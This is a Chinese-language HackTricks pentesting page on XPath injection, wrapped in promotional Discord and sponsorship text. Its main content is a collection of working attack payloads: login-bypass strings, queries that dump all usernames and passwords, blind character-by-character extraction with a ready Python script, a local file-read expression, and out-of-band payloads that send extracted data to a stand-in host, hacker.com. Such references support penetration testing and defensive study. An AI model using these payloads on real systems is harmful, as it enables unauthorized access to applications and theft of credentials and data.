hacktricks/pentesting-web/xpath-injection.md

309 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XPATH注入
<details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
**最新公告**\
了解最新启动的赏金计划和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
## 基本语法
一种称为XPath注入的攻击技术用于利用根据用户输入形成XPathXML路径语言查询的应用程序来查询或导航XML文档。
### 描述的节点
表达式用于选择XML文档中的各种节点。以下是这些表达式及其描述的总结
* **nodename**选择所有名称为“nodename”的节点。
* **/**:从根节点进行选择。
* **//**:选择与当前节点匹配的节点,无论其在文档中的位置如何。
* **.**:选择当前节点。
* **..**:选择当前节点的父节点。
* **@**:选择属性。
### XPath示例
路径表达式及其结果的示例包括:
* **bookstore**选择所有名称为“bookstore”的节点。
* **/bookstore**选择根元素bookstore。请注意表示元素的绝对路径以斜杠/)开头。
* **bookstore/book**选择所有作为bookstore子元素的book元素。
* **//book**选择文档中的所有book元素无论其位置如何。
* **bookstore//book**选择作为bookstore元素后代的所有book元素无论其在bookstore元素下的位置如何。
* **//@lang**选择所有名为lang的属性。
### 谓词的使用
谓词用于细化选择:
* **/bookstore/book\[1]**选择bookstore元素的第一个book元素子节点。对于将第一个节点索引为\[0\]的IE版本5到9可以通过JavaScript将SelectionLanguage设置为XPath来解决。
* **/bookstore/book\[last()]**选择bookstore元素的最后一个book元素子节点。
* **/bookstore/book\[last()-1]**选择bookstore元素的倒数第二个book元素子节点。
* **/bookstore/book\[position()<3]**选择bookstore元素的前两个book元素子节点
* **//title\[@lang]**选择具有lang属性的所有title元素
* **//title\[@lang='en']**选择具有值为enlang属性的所有title元素
* **/bookstore/book\[price>35.00]**选择价格大于35.00的所有book元素。
* **/bookstore/book\[price>35.00]/title**选择价格大于35.00的book元素的bookstore中的所有title元素。
### 未知节点的处理
通配符用于匹配未知节点:
* **\***:匹配任何元素节点。
* **@**\*:匹配任何属性节点。
* **node()**:匹配任何类型的任何节点。
进一步的示例包括:
* **/bookstore/\***选择bookstore元素的所有子元素节点。
* **//\***:选择文档中的所有元素。
* **//title\[@\*\]**选择具有至少一个任意属性的所有title元素。
## 示例
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### 访问信息
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### 识别和窃取模式
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## 身份验证绕过
### **查询示例:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **在用户和密码中绕过OR两者取相同值**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **滥用空值注入**
```
Username: ' or 1]%00
```
### **用户名或密码中的双重OR运算符**(仅在一个易受攻击的字段中有效)
重要提示:请注意**“and”是首先执行的操作**。
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## 字符串提取
输出包含字符串,用户可以操纵这些值进行搜索:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## 盲目利用
### **获取值的长度并通过比较提取它:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Python 示例**
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### 读取文件
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB利用
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### 自动化工具
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## 参考资料
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
**最新公告**\
随时了解最新的赏金任务发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!